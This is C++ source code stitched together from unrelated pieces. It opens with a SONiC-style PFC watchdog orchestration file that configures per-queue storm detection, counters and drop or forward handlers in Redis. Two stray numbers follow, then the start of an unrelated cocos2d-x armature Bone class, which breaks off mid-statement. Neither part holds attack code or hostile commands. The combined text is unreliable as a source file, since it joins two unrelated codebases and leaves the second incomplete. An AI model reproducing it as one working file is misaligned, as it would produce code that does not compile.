#include <limits.h> #include <unordered_map> #include "pfcwdorch.h" #include "sai_serialize.h" #include "portsorch.h" #include "converter.h" #include "redisapi.h" #include "select.h" #include "notifier.h" #include "redisclient.h" #include "schema.h" #include "subscriberstatetable.h" #define PFC_WD_GLOBAL "GLOBAL" #define PFC_WD_ACTION "action" #define PFC_WD_DETECTION_TIME "detection_time" #define PFC_WD_RESTORATION_TIME "restoration_time" #define BIG_RED_SWITCH_FIELD "BIG_RED_SWITCH" #define PFC_WD_IN_STORM "storm" #define PFC_WD_DETECTION_TIME_MAX (5 * 1000) #define PFC_WD_DETECTION_TIME_MIN 100 #define PFC_WD_RESTORATION_TIME_MAX (60 * 1000) #define PFC_WD_RESTORATION_TIME_MIN 100 #define PFC_WD_POLL_TIMEOUT 5000 #define SAI_PORT_STAT_PFC_PREFIX "SAI_PORT_STAT_PFC_" #define PFC_WD_TC_MAX 8 #define COUNTER_CHECK_POLL_TIMEOUT_SEC 1 extern sai_port_api_t *sai_port_api; extern sai_queue_api_t *sai_queue_api; extern PortsOrch *gPortsOrch; template <typename DropHandler, typename ForwardHandler> PfcWdOrch<DropHandler, ForwardHandler>::PfcWdOrch(DBConnector *db, vector<string> &tableNames): Orch(db, tableNames), m_countersDb(new DBConnector(COUNTERS_DB, DBConnector::DEFAULT_UNIXSOCKET, 0)), m_countersTable(new Table(m_countersDb.get(), COUNTERS_TABLE)) { SWSS_LOG_ENTER(); } template <typename DropHandler, typename ForwardHandler> PfcWdOrch<DropHandler, ForwardHandler>::~PfcWdOrch(void) { SWSS_LOG_ENTER(); } template <typename DropHandler, typename ForwardHandler> void PfcWdOrch<DropHandler, ForwardHandler>::doTask(Consumer& consumer) { SWSS_LOG_ENTER(); if (!gPortsOrch->isPortReady()) { return; } if ((consumer.getDbId() == CONFIG_DB) && (consumer.getTableName() == CFG_PFC_WD_TABLE_NAME)) { auto it = consumer.m_toSync.begin(); while (it != consumer.m_toSync.end()) { KeyOpFieldsValuesTuple t = it->second; string key = kfvKey(t); string op = kfvOp(t); task_process_status task_status = task_process_status::task_ignore; if (op == SET_COMMAND) { task_status = createEntry(key, kfvFieldsValues(t)); } else if (op == DEL_COMMAND) { task_status = deleteEntry(key); } else { task_status = task_process_status::task_invalid_entry; SWSS_LOG_ERROR("Unknown operation type %s\n", op.c_str()); } switch (task_status) { case task_process_status::task_success: consumer.m_toSync.erase(it++); break; case task_process_status::task_need_retry: SWSS_LOG_INFO("Failed to process PFC watchdog %s task, retry it", op.c_str()); ++it; break; case task_process_status::task_invalid_entry: SWSS_LOG_ERROR("Failed to process PFC watchdog %s task, invalid entry", op.c_str()); consumer.m_toSync.erase(it++); break; default: SWSS_LOG_ERROR("Invalid task status %d", task_status); consumer.m_toSync.erase(it++); break; } } if (consumer.m_toSync.empty()) { m_entriesCreated = true; } } } template <typename DropHandler, typename ForwardHandler> template <typename T> string PfcWdSwOrch<DropHandler, ForwardHandler>::counterIdsToStr( const vector<T> ids, string (*convert)(T)) { SWSS_LOG_ENTER(); string str; for (const auto& i: ids) { str += convert(i) + ","; } // Remove trailing ',' if (!str.empty()) { str.pop_back(); } return str; } template <typename DropHandler, typename ForwardHandler> PfcWdAction PfcWdOrch<DropHandler, ForwardHandler>::deserializeAction(const string& key) { SWSS_LOG_ENTER(); const map<string, PfcWdAction> actionMap = { { "forward", PfcWdAction::PFC_WD_ACTION_FORWARD }, { "drop", PfcWdAction::PFC_WD_ACTION_DROP }, { "alert", PfcWdAction::PFC_WD_ACTION_ALERT }, }; if (actionMap.find(key) == actionMap.end()) { return PfcWdAction::PFC_WD_ACTION_UNKNOWN; } return actionMap.at(key); } template <typename DropHandler, typename ForwardHandler> string PfcWdOrch<DropHandler, ForwardHandler>::serializeAction(const PfcWdAction& action) { SWSS_LOG_ENTER(); const map<PfcWdAction, string> actionMap = { { PfcWdAction::PFC_WD_ACTION_FORWARD, "forward" }, { PfcWdAction::PFC_WD_ACTION_DROP, "drop" }, { PfcWdAction::PFC_WD_ACTION_ALERT, "alert" }, }; if (actionMap.find(action) == actionMap.end()) { return "unknown"; } return actionMap.at(action); } template <typename DropHandler, typename ForwardHandler> task_process_status PfcWdOrch<DropHandler, ForwardHandler>::createEntry(const string& key, const vector<FieldValueTuple>& data) { SWSS_LOG_ENTER(); uint32_t detectionTime = 0; uint32_t restorationTime = 0; // According to requirements, drop action is default PfcWdAction action = PfcWdAction::PFC_WD_ACTION_DROP; Port port; if (!gPortsOrch->getPort(key, port)) { SWSS_LOG_ERROR("Invalid port interface %s", key.c_str()); return task_process_status::task_invalid_entry; } if (port.m_type != Port::PHY) { SWSS_LOG_ERROR("Interface %s is not physical port", key.c_str()); return task_process_status::task_invalid_entry; } for (auto i : data) { const auto &field = fvField(i); const auto &value = fvValue(i); try { if (field == PFC_WD_DETECTION_TIME) { detectionTime = to_uint<uint32_t>( value, PFC_WD_DETECTION_TIME_MIN, PFC_WD_DETECTION_TIME_MAX); } else if (field == PFC_WD_RESTORATION_TIME) { restorationTime = to_uint<uint32_t>(value, PFC_WD_RESTORATION_TIME_MIN, PFC_WD_RESTORATION_TIME_MAX); } else if (field == PFC_WD_ACTION) { action = deserializeAction(value); if (action == PfcWdAction::PFC_WD_ACTION_UNKNOWN) { SWSS_LOG_ERROR("Invalid PFC Watchdog action %s", value.c_str()); return task_process_status::task_invalid_entry; } } else { SWSS_LOG_ERROR( "Failed to parse PFC Watchdog %s configuration. Unknown attribute %s.\n", key.c_str(), field.c_str()); return task_process_status::task_invalid_entry; } } catch (const exception& e) { SWSS_LOG_ERROR( "Failed to parse PFC Watchdog %s attribute %s error: %s.", key.c_str(), field.c_str(), e.what()); return task_process_status::task_invalid_entry; } catch (...) { SWSS_LOG_ERROR( "Failed to parse PFC Watchdog %s attribute %s. Unknown error has been occurred", key.c_str(), field.c_str()); return task_process_status::task_invalid_entry; } } // Validation if (detectionTime == 0) { SWSS_LOG_ERROR("%s missing", PFC_WD_DETECTION_TIME); return task_process_status::task_invalid_entry; } if (!startWdOnPort(port, detectionTime, restorationTime, action)) { SWSS_LOG_ERROR("Failed to start PFC Watchdog on port %s", port.m_alias.c_str()); return task_process_status::task_need_retry; } SWSS_LOG_NOTICE("Started PFC Watchdog on port %s", port.m_alias.c_str()); return task_process_status::task_success; } template <typename DropHandler, typename ForwardHandler> task_process_status PfcWdOrch<DropHandler, ForwardHandler>::deleteEntry(const string& name) { SWSS_LOG_ENTER(); Port port; gPortsOrch->getPort(name, port); if (!stopWdOnPort(port)) { SWSS_LOG_ERROR("Failed to stop PFC Watchdog on port %s", name.c_str()); return task_process_status::task_failed; } SWSS_LOG_NOTICE("Stopped PFC Watchdog on port %s", name.c_str()); return task_process_status::task_success; } template <typename DropHandler, typename ForwardHandler> task_process_status PfcWdSwOrch<DropHandler, ForwardHandler>::createEntry(const string& key, const vector<FieldValueTuple>& data) { SWSS_LOG_ENTER(); if (key == PFC_WD_GLOBAL) { for (auto valuePair: data) { const auto &field = fvField(valuePair); const auto &value = fvValue(valuePair); if (field == POLL_INTERVAL_FIELD) { vector<FieldValueTuple> fieldValues; fieldValues.emplace_back(POLL_INTERVAL_FIELD, value); m_flexCounterGroupTable->set(PFC_WD_FLEX_COUNTER_GROUP, fieldValues); } else if (field == BIG_RED_SWITCH_FIELD) { SWSS_LOG_NOTICE("Recieve brs mode set, %s", value.c_str()); setBigRedSwitchMode(value); } } } else { return PfcWdOrch<DropHandler, ForwardHandler>::createEntry(key, data); } return task_process_status::task_success; } template <typename DropHandler, typename ForwardHandler> void PfcWdSwOrch<DropHandler, ForwardHandler>::setBigRedSwitchMode(const string value) { SWSS_LOG_ENTER(); if (value == "enable") { // When BIG_RED_SWITCH mode is enabled, pfcwd is automatically disabled enableBigRedSwitchMode(); } else if (value == "disable") { disableBigRedSwitchMode(); } else { SWSS_LOG_NOTICE("Unsupported BIG_RED_SWITCH mode set input, please use enable or disable"); } } template <typename DropHandler, typename ForwardHandler> void PfcWdSwOrch<DropHandler, ForwardHandler>::disableBigRedSwitchMode() { SWSS_LOG_ENTER(); m_bigRedSwitchFlag = false; // Disable pfcwdaction hanlder on each queue if exists. for (auto &entry : m_brsEntryMap) { if (entry.second.handler != nullptr) { SWSS_LOG_NOTICE( "PFC Watchdog BIG_RED_SWITCH mode disabled on port %s, queue index %d, queue id 0x%lx and port id 0x%lx.", entry.second.portAlias.c_str(), entry.second.index, entry.first, entry.second.portId); entry.second.handler->commitCounters(); entry.second.handler = nullptr; } auto queueId = entry.first; RedisClient redisClient(this->getCountersDb().get()); string countersKey = this->getCountersTable()->getTableName() + this->getCountersTable()->getTableNameSeparator() + sai_serialize_object_id(queueId); redisClient.hdel(countersKey, "BIG_RED_SWITCH_MODE"); } m_brsEntryMap.clear(); } template <typename DropHandler, typename ForwardHandler> void PfcWdSwOrch<DropHandler, ForwardHandler>::enableBigRedSwitchMode() { SWSS_LOG_ENTER(); m_bigRedSwitchFlag = true; // Write to database that each queue enables BIG_RED_SWITCH auto allPorts = gPortsOrch->getAllPorts(); for (auto &it: allPorts) { Port port = it.second; uint8_t pfcMask = 0; if (port.m_type != Port::PHY) { SWSS_LOG_INFO("Skip non-phy port %s", port.m_alias.c_str()); continue; } if (!gPortsOrch->getPortPfc(port.m_port_id, &pfcMask)) { SWSS_LOG_ERROR("Failed to get PFC mask on port %s", port.m_alias.c_str()); return; } for (uint8_t i = 0; i < PFC_WD_TC_MAX; i++) { sai_object_id_t queueId = port.m_queue_ids[i]; if ((pfcMask & (1 << i)) == 0 && m_entryMap.find(queueId) == m_entryMap.end()) { continue; } string queueIdStr = sai_serialize_object_id(queueId); vector<FieldValueTuple> countersFieldValues; countersFieldValues.emplace_back("BIG_RED_SWITCH_MODE", "enable"); this->getCountersTable()->set(queueIdStr, countersFieldValues); } } // Disable pfcwdaction handler on each queue if exists. for (auto & entry: m_entryMap) { if (entry.second.handler != nullptr) { entry.second.handler->commitCounters(); entry.second.handler = nullptr; } } // Create pfcwdaction hanlder on all the ports. for (auto & it: allPorts) { Port port = it.second; uint8_t pfcMask = 0; if (port.m_type != Port::PHY) { SWSS_LOG_INFO("Skip non-phy port %s", port.m_alias.c_str()); continue; } if (!gPortsOrch->getPortPfc(port.m_port_id, &pfcMask)) { SWSS_LOG_ERROR("Failed to get PFC mask on port %s", port.m_alias.c_str()); return; } for (uint8_t i = 0; i < PFC_WD_TC_MAX; i++) { if ((pfcMask & (1 << i)) == 0) { continue; } sai_object_id_t queueId = port.m_queue_ids[i]; string queueIdStr = sai_serialize_object_id(queueId); auto entry = m_brsEntryMap.emplace(queueId, PfcWdQueueEntry(PfcWdAction::PFC_WD_ACTION_DROP, port.m_port_id, i, port.m_alias)).first; if (entry->second.handler== nullptr) { SWSS_LOG_NOTICE( "PFC Watchdog BIG_RED_SWITCH mode enabled on port %s, queue index %d, queue id 0x%lx and port id 0x%lx.", entry->second.portAlias.c_str(), entry->second.index, entry->first, entry->second.portId); entry->second.handler = make_shared<DropHandler>( entry->second.portId, entry->first, entry->second.index, this->getCountersTable()); entry->second.handler->initCounters(); } } } } template <typename DropHandler, typename ForwardHandler> bool PfcWdSwOrch<DropHandler, ForwardHandler>::registerInWdDb(const Port& port, uint32_t detectionTime, uint32_t restorationTime, PfcWdAction action) { SWSS_LOG_ENTER(); uint8_t pfcMask = 0; if (!gPortsOrch->getPortPfc(port.m_port_id, &pfcMask)) { SWSS_LOG_ERROR("Failed to get PFC mask on port %s", port.m_alias.c_str()); return false; } set<uint8_t> losslessTc; for (uint8_t i = 0; i < PFC_WD_TC_MAX; i++) { if ((pfcMask & (1 << i)) == 0) { continue; } losslessTc.insert(i); } if (losslessTc.empty()) { SWSS_LOG_NOTICE("No lossless TC found on port %s", port.m_alias.c_str()); return false; } if (!c_portStatIds.empty()) { string key = getFlexCounterTableKey(sai_serialize_object_id(port.m_port_id)); vector<FieldValueTuple> fieldValues; // Only register lossless tc counters in database. string str = counterIdsToStr(c_portStatIds, &sai_serialize_port_stat); string filteredStr = filterPfcCounters(str, losslessTc); fieldValues.emplace_back(PORT_COUNTER_ID_LIST, filteredStr); m_flexCounterTable->set(key, fieldValues); } for (auto i : losslessTc) { sai_object_id_t queueId = port.m_queue_ids[i]; string queueIdStr = sai_serialize_object_id(queueId); // Store detection and restoration time for plugins vector<FieldValueTuple> countersFieldValues; countersFieldValues.emplace_back("PFC_WD_DETECTION_TIME", to_string(detectionTime * 1000)); // Restoration time is optional countersFieldValues.emplace_back("PFC_WD_RESTORATION_TIME", restorationTime == 0 ? "" : to_string(restorationTime * 1000)); countersFieldValues.emplace_back("PFC_WD_ACTION", this->serializeAction(action)); this->getCountersTable()->set(queueIdStr, countersFieldValues); // We register our queues in PFC_WD table so that syncd will know that it must poll them vector<FieldValueTuple> queueFieldValues; if (!c_queueStatIds.empty()) { string str = counterIdsToStr(c_queueStatIds, sai_serialize_queue_stat); queueFieldValues.emplace_back(QUEUE_COUNTER_ID_LIST, str); } if (!c_queueAttrIds.empty()) { string str = counterIdsToStr(c_queueAttrIds, sai_serialize_queue_attr); queueFieldValues.emplace_back(QUEUE_ATTR_ID_LIST, str); } // Create internal entry m_entryMap.emplace(queueId, PfcWdQueueEntry(action, port.m_port_id, i, port.m_alias)); string key = getFlexCounterTableKey(queueIdStr); m_flexCounterTable->set(key, queueFieldValues); // Initialize PFC WD related counters PfcWdActionHandler::initWdCounters( this->getCountersTable(), sai_serialize_object_id(queueId)); } // Create egress ACL table group for each port of pfcwd's interest sai_object_id_t groupId; gPortsOrch->createBindAclTableGroup(port.m_port_id, groupId, ACL_STAGE_INGRESS); gPortsOrch->createBindAclTableGroup(port.m_port_id, groupId, ACL_STAGE_EGRESS); return true; } template <typename DropHandler, typename ForwardHandler> string PfcWdSwOrch<DropHandler, ForwardHandler>::filterPfcCounters(string counters, set<uint8_t>& losslessTc) { SWSS_LOG_ENTER(); istringstream is(counters); string counter; string filterCounters; while (getline(is, counter, ',')) { size_t index = 0; index = counter.find(SAI_PORT_STAT_PFC_PREFIX); if (index != 0) { filterCounters = filterCounters + counter + ","; } else { uint8_t tc = (uint8_t)atoi(counter.substr(index + sizeof(SAI_PORT_STAT_PFC_PREFIX) - 1, 1).c_str()); if (losslessTc.count(tc)) { filterCounters = filterCounters + counter + ","; } } } if (!filterCounters.empty()) { filterCounters.pop_back(); } return filterCounters; } template <typename DropHandler, typename ForwardHandler> string PfcWdSwOrch<DropHandler, ForwardHandler>::getFlexCounterTableKey(string key) { SWSS_LOG_ENTER(); return string(PFC_WD_FLEX_COUNTER_GROUP) + ":" + key; } template <typename DropHandler, typename ForwardHandler> void PfcWdSwOrch<DropHandler, ForwardHandler>::unregisterFromWdDb(const Port& port) { SWSS_LOG_ENTER(); string key = getFlexCounterTableKey(sai_serialize_object_id(port.m_port_id)); m_flexCounterTable->del(key); for (uint8_t i = 0; i < PFC_WD_TC_MAX; i++) { sai_object_id_t queueId = port.m_queue_ids[i]; string key = getFlexCounterTableKey(sai_serialize_object_id(queueId)); // Unregister in syncd m_flexCounterTable->del(key); auto entry = m_entryMap.find(queueId); if (entry != m_entryMap.end() && entry->second.handler != nullptr) { entry->second.handler->commitCounters(); } m_entryMap.erase(queueId); // Clean up RedisClient redisClient(this->getCountersDb().get()); string countersKey = this->getCountersTable()->getTableName() + this->getCountersTable()->getTableNameSeparator() + sai_serialize_object_id(queueId); redisClient.hdel(countersKey, {"PFC_WD_DETECTION_TIME", "PFC_WD_RESTORATION_TIME", "PFC_WD_ACTION", "PFC_WD_STATUS"}); } } template <typename DropHandler, typename ForwardHandler> PfcWdSwOrch<DropHandler, ForwardHandler>::PfcWdSwOrch( DBConnector *db, vector<string> &tableNames, const vector<sai_port_stat_t> &portStatIds, const vector<sai_queue_stat_t> &queueStatIds, const vector<sai_queue_attr_t> &queueAttrIds, int pollInterval): PfcWdOrch<DropHandler, ForwardHandler>(db, tableNames), m_flexCounterDb(new DBConnector(FLEX_COUNTER_DB, DBConnector::DEFAULT_UNIXSOCKET, 0)), m_flexCounterTable(new ProducerTable(m_flexCounterDb.get(), FLEX_COUNTER_TABLE)), m_flexCounterGroupTable(new ProducerTable(m_flexCounterDb.get(), FLEX_COUNTER_GROUP_TABLE)), c_portStatIds(portStatIds), c_queueStatIds(queueStatIds), c_queueAttrIds(queueAttrIds), m_pollInterval(pollInterval), m_applDb(make_shared<DBConnector>(APPL_DB, DBConnector::DEFAULT_UNIXSOCKET, 0)), m_applTable(make_shared<Table>(m_applDb.get(), APP_PFC_WD_TABLE_NAME "_INSTORM")), m_applDbRedisClient(m_applDb.get()) { SWSS_LOG_ENTER(); string platform = getenv("platform") ? getenv("platform") : ""; if (platform == "") { SWSS_LOG_ERROR("Platform environment variable is not defined"); return; } string detectSha, restoreSha; string detectPluginName = "pfc_detect_" + platform + ".lua"; string restorePluginName = "pfc_restore.lua"; try { string detectLuaScript = swss::loadLuaScript(detectPluginName); detectSha = swss::loadRedisScript( this->getCountersDb().get(), detectLuaScript); string restoreLuaScript = swss::loadLuaScript(restorePluginName); restoreSha = swss::loadRedisScript( this->getCountersDb().get(), restoreLuaScript); vector<FieldValueTuple> fieldValues; fieldValues.emplace_back(QUEUE_PLUGIN_FIELD, detectSha + "," + restoreSha); fieldValues.emplace_back(POLL_INTERVAL_FIELD, to_string(m_pollInterval)); fieldValues.emplace_back(STATS_MODE_FIELD, STATS_MODE_READ); m_flexCounterGroupTable->set(PFC_WD_FLEX_COUNTER_GROUP, fieldValues); } catch (...) { SWSS_LOG_WARN("Lua scripts and polling interval for PFC watchdog were not set successfully"); } auto consumer = new swss::NotificationConsumer( this->getCountersDb().get(), "PFC_WD_ACTION"); auto wdNotification = new Notifier(consumer, this, "PFC_WD_ACTION"); Orch::addExecutor(wdNotification); auto interv = timespec { .tv_sec = COUNTER_CHECK_POLL_TIMEOUT_SEC, .tv_nsec = 0 }; auto timer = new SelectableTimer(interv); auto executor = new ExecutableTimer(timer, this, "PFC_WD_COUNTERS_POLL"); Orch::addExecutor(executor); timer->start(); auto ssTable = new swss::SubscriberStateTable( m_applDb.get(), APP_PFC_WD_TABLE_NAME, TableConsumable::DEFAULT_POP_BATCH_SIZE, default_orch_pri); auto ssConsumer = new Consumer(ssTable, this, APP_PFC_WD_TABLE_NAME); Orch::addExecutor(ssConsumer); } template <typename DropHandler, typename ForwardHandler> PfcWdSwOrch<DropHandler, ForwardHandler>::~PfcWdSwOrch(void) { SWSS_LOG_ENTER(); m_flexCounterGroupTable->del(PFC_WD_FLEX_COUNTER_GROUP); } template <typename DropHandler, typename ForwardHandler> PfcWdSwOrch<DropHandler, ForwardHandler>::PfcWdQueueEntry::PfcWdQueueEntry( PfcWdAction action, sai_object_id_t port, uint8_t idx, string alias): action(action), portId(port), index(idx), portAlias(alias) { SWSS_LOG_ENTER(); } template <typename DropHandler, typename ForwardHandler> bool PfcWdSwOrch<DropHandler, ForwardHandler>::startWdOnPort(const Port& port, uint32_t detectionTime, uint32_t restorationTime, PfcWdAction action) { SWSS_LOG_ENTER(); return registerInWdDb(port, detectionTime, restorationTime, action); } template <typename DropHandler, typename ForwardHandler> bool PfcWdSwOrch<DropHandler, ForwardHandler>::stopWdOnPort(const Port& port) { SWSS_LOG_ENTER(); unregisterFromWdDb(port); return true; } template <typename DropHandler, typename ForwardHandler> void PfcWdSwOrch<DropHandler, ForwardHandler>::doTask(Consumer& consumer) { PfcWdOrch<DropHandler, ForwardHandler>::doTask(consumer); if (!this->m_entriesCreated) { return; } if ((consumer.getDbId() == APPL_DB) && (consumer.getTableName() == APP_PFC_WD_TABLE_NAME)) { auto it = consumer.m_toSync.begin(); while (it != consumer.m_toSync.end()) { KeyOpFieldsValuesTuple &t = it->second; string &key = kfvKey(t); Port port; if (!gPortsOrch->getPort(key, port)) { SWSS_LOG_ERROR("Invalid port interface %s", key.c_str()); it = consumer.m_toSync.erase(it); continue; } if (port.m_type != Port::PHY) { SWSS_LOG_ERROR("Interface %s is not physical port", key.c_str()); it = consumer.m_toSync.erase(it); continue; } vector<FieldValueTuple> &fvTuples = kfvFieldsValues(t); for (const auto &fv : fvTuples) { int qIdx = -1; string q = fvField(fv); try { qIdx = stoi(q); } catch (const std::invalid_argument &e) { SWSS_LOG_ERROR("Invalid argument %s to %s()", q.c_str(), e.what()); continue; } catch (const std::out_of_range &e) { SWSS_LOG_ERROR("Out of range argument %s to %s()", q.c_str(), e.what()); continue; } if ((qIdx < 0) || (static_cast<unsigned int>(qIdx) >= port.m_queue_ids.size())) { SWSS_LOG_ERROR("Invalid queue index %d on port %s", qIdx, key.c_str()); continue; } string status = fvValue(fv); if (status != PFC_WD_IN_STORM) { SWSS_LOG_ERROR("Port %s queue %s not in %s", key.c_str(), q.c_str(), PFC_WD_IN_STORM); continue; } SWSS_LOG_INFO("Port %s queue %s in status %s ", key.c_str(), q.c_str(), status.c_str()); if (!startWdActionOnQueue(PFC_WD_IN_STORM, port.m_queue_ids[qIdx])) { SWSS_LOG_ERROR("Failed to start PFC watchdog %s action on port %s queue %d", PFC_WD_IN_STORM, key.c_str(), qIdx); continue; } } it = consumer.m_toSync.erase(it); } } } template <typename DropHandler, typename ForwardHandler> void PfcWdSwOrch<DropHandler, ForwardHandler>::doTask(swss::NotificationConsumer& wdNotification) { SWSS_LOG_ENTER(); string queueIdStr; string event; vector<swss::FieldValueTuple> values; wdNotification.pop(queueIdStr, event, values); sai_object_id_t queueId = SAI_NULL_OBJECT_ID; sai_deserialize_object_id(queueIdStr, queueId); if (!startWdActionOnQueue(event, queueId)) { SWSS_LOG_ERROR("Failed to start PFC watchdog %s event action on queue %s", event.c_str(), queueIdStr.c_str()); } } template <typename DropHandler, typename ForwardHandler> void PfcWdSwOrch<DropHandler, ForwardHandler>::doTask(SelectableTimer &timer) { SWSS_LOG_ENTER(); for (auto& handlerPair : m_entryMap) { if (handlerPair.second.handler != nullptr) { handlerPair.second.handler->commitCounters(true); } } } template <typename DropHandler, typename ForwardHandler> bool PfcWdSwOrch<DropHandler, ForwardHandler>::startWdActionOnQueue(const string &event, sai_object_id_t queueId) { auto entry = m_entryMap.find(queueId); if (entry == m_entryMap.end()) { SWSS_LOG_ERROR("Queue 0x%lx is not registered", queueId); return false; } SWSS_LOG_NOTICE("Receive notification, %s", event.c_str()); if (m_bigRedSwitchFlag) { SWSS_LOG_NOTICE("Big_RED_SWITCH mode is on, ingore syncd pfc watchdog notification"); } else if (event == "storm") { if (entry->second.action == PfcWdAction::PFC_WD_ACTION_ALERT) { if (entry->second.handler == nullptr) { SWSS_LOG_NOTICE( "PFC Watchdog detected PFC storm on port %s, queue index %d, queue id 0x%lx and port id 0x%lx.", entry->second.portAlias.c_str(), entry->second.index, entry->first, entry->second.portId); entry->second.handler = make_shared<PfcWdActionHandler>( entry->second.portId, entry->first, entry->second.index, this->getCountersTable()); entry->second.handler->initCounters(); // Log storm event to APPL_DB for warm-reboot purpose string key = m_applTable->getTableName() + m_applTable->getTableNameSeparator() + entry->second.portAlias; m_applDbRedisClient.hset(key, to_string(entry->second.index), PFC_WD_IN_STORM); } } else if (entry->second.action == PfcWdAction::PFC_WD_ACTION_DROP) { if (entry->second.handler == nullptr) { SWSS_LOG_NOTICE( "PFC Watchdog detected PFC storm on port %s, queue index %d, queue id 0x%lx and port id 0x%lx.", entry->second.portAlias.c_str(), entry->second.index, entry->first, entry->second.portId); entry->second.handler = make_shared<DropHandler>( entry->second.portId, entry->first, entry->second.index, this->getCountersTable()); entry->second.handler->initCounters(); // Log storm event to APPL_DB for warm-reboot purpose string key = m_applTable->getTableName() + m_applTable->getTableNameSeparator() + entry->second.portAlias; m_applDbRedisClient.hset(key, to_string(entry->second.index), PFC_WD_IN_STORM); } } else if (entry->second.action == PfcWdAction::PFC_WD_ACTION_FORWARD) { if (entry->second.handler == nullptr) { SWSS_LOG_NOTICE( "PFC Watchdog detected PFC storm on port %s, queue index %d, queue id 0x%lx and port id 0x%lx.", entry->second.portAlias.c_str(), entry->second.index, entry->first, entry->second.portId); entry->second.handler = make_shared<ForwardHandler>( entry->second.portId, entry->first, entry->second.index, this->getCountersTable()); entry->second.handler->initCounters(); // Log storm event to APPL_DB for warm-reboot purpose string key = m_applTable->getTableName() + m_applTable->getTableNameSeparator() + entry->second.portAlias; m_applDbRedisClient.hset(key, to_string(entry->second.index), PFC_WD_IN_STORM); } } else { SWSS_LOG_ERROR("Unknown PFC WD action"); return false; } } else if (event == "restore") { if (entry->second.handler != nullptr) { SWSS_LOG_NOTICE( "PFC Watchdog storm restored on port %s, queue index %d, queue id 0x%lx and port id 0x%lx.", entry->second.portAlias.c_str(), entry->second.index, entry->first, entry->second.portId); entry->second.handler->commitCounters(); entry->second.handler = nullptr; // Remove storm status in APPL_DB for warm-reboot purpose string key = m_applTable->getTableName() + m_applTable->getTableNameSeparator() + entry->second.portAlias; m_applDbRedisClient.hdel(key, to_string(entry->second.index)); } } else { SWSS_LOG_ERROR("Received unknown event from plugin, %s", event.c_str()); return false; } return true; } template <typename DropHandler, typename ForwardHandler> bool PfcWdSwOrch<DropHandler, ForwardHandler>::bake() { // clean all *_last fields in COUNTERS_TABLE // to allow warm-reboot pfc detect & restore state machine to enter the same init state as cold-reboot RedisClient redisClient(this->getCountersDb().get()); vector<string> cKeys; this->getCountersTable()->getKeys(cKeys); for (const auto &key : cKeys) { vector<FieldValueTuple> fvTuples; this->getCountersTable()->get(key, fvTuples); vector<string> wLasts; for (const auto &fv : fvTuples) { if (fvField(fv).find("_last") != string::npos) { wLasts.push_back(fvField(fv)); } } if (!wLasts.empty()) { redisClient.hdel( this->getCountersTable()->getTableName() + this->getCountersTable()->getTableNameSeparator() + key, wLasts); } } Orch::bake(); Consumer *consumer = dynamic_cast<Consumer *>(this->getExecutor(APP_PFC_WD_TABLE_NAME)); if (consumer == NULL) { SWSS_LOG_ERROR("No consumer %s in Orch", APP_PFC_WD_TABLE_NAME); return false; } size_t refilled = consumer->refillToSync(m_applTable.get()); SWSS_LOG_NOTICE("Add warm input PFC watchdog State: %s, %zd", APP_PFC_WD_TABLE_NAME, refilled); return true; } // Trick to keep member functions in a separate file template class PfcWdSwOrch<PfcWdZeroBufferHandler, PfcWdLossyHandler>; template class PfcWdSwOrch<PfcWdAclHandler, PfcWdLossyHandler>;
34,856
11,292
/**************************************************************************** Copyright (c) 2013 cocos2d-x.org http://www.cocos2d-x.org Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ****************************************************************************/ #include "CCBone.h" #include "CCArmature.h" #include "utils/CCUtilMath.h" #include "utils/CCArmatureDataManager.h" #include "utils/CCTransformHelp.h" #include "display/CCDisplayManager.h" namespace cocos2d { namespace extension { namespace armature { Bone *Bone::create() { Bone *pBone = new Bone(); if (pBone && pBone->init()) { pBone->autorelease(); return pBone; } CC_SAFE_DELETE(pBone); return NULL; } Bone *Bone::create(const char *name) { Bone *pBone = new Bone(); if (pBone && pBone->init(name)) { pBone->autorelease(); return pBone; } CC_SAFE_DELETE(pBone); return NULL; } Bone::Bone() { _tweenData = NULL; _parent = NULL; _armature = NULL; _childArmature = NULL; _boneData = NULL; _tween = NULL; _tween = NULL; _children = NULL; _displayManager = NULL; _ignoreMovementBoneData = false; _worldTransform = AffineTransformMake(1, 0, 0, 1, 0, 0); _transformDirty = true; } Bone::~Bone(void) { CC_SAFE_DELETE(_tweenData); CC_SAFE_DELETE(_children); CC_SAFE_DELETE(_tween); CC_SAFE_DELETE(_displayManager); if(_boneData) { _boneData->release(); } CC_SAFE_RELEASE(_childArmature); } bool Bone::init() { return Bone::init(NULL); } bool Bone::init(const char *name) { bool bRet = false; do { if(NULL != name) { _name = name; } CC_SAFE_DELETE(_tweenData); _tweenData = new FrameData(); CC_SAFE_DELETE(_tween); _tween = new Tween(); _tween->init(this); CC_SAFE_DELETE(_displayManager); _displayManager = new DisplayManager(); _displayManager->init(this); bRet = true; } while (0); return bRet; } void Bone::setBoneData(BoneData *boneData) { CCASSERT(NULL != boneData, "_boneData must not be NULL"); _boneData = boneData; _boneData->retain(); _name = _boneData->name; _ZOrder = _boneData->zOrder; _displayManager->initDisplayList(boneData); } BoneData *Bone::getBoneData() { return _boneData; } void Bone::setArmature(Armature *armature) { _armature = armature; _tween->setAnimation(_armature->getAnimation()); } Armature *Bone::getArmature() { return _armature; } void Bone::update(float delta) { if (_parent) _transformDirty = _transformDirty || _parent->isTransformDirty(); if (_transformDirty) { float cosX = cos(_tweenData->skewX); float cosY = cos(_tweenData->skewY); float sinX = sin(_tweenData->skewX); float sinY = sin(_tweenData->skewY); _worldTransform.a = _tweenData->scaleX * cosY; _worldTransform.b = _tweenData->scaleX * sinY; _worldTransform.c = _tweenData->scaleY * sinX; _worldTransform.d = _tweenData->scaleY * cosX; _worldTransform.tx = _tweenData->x; _worldTransform.ty = _tweenData->y; _worldTransform = 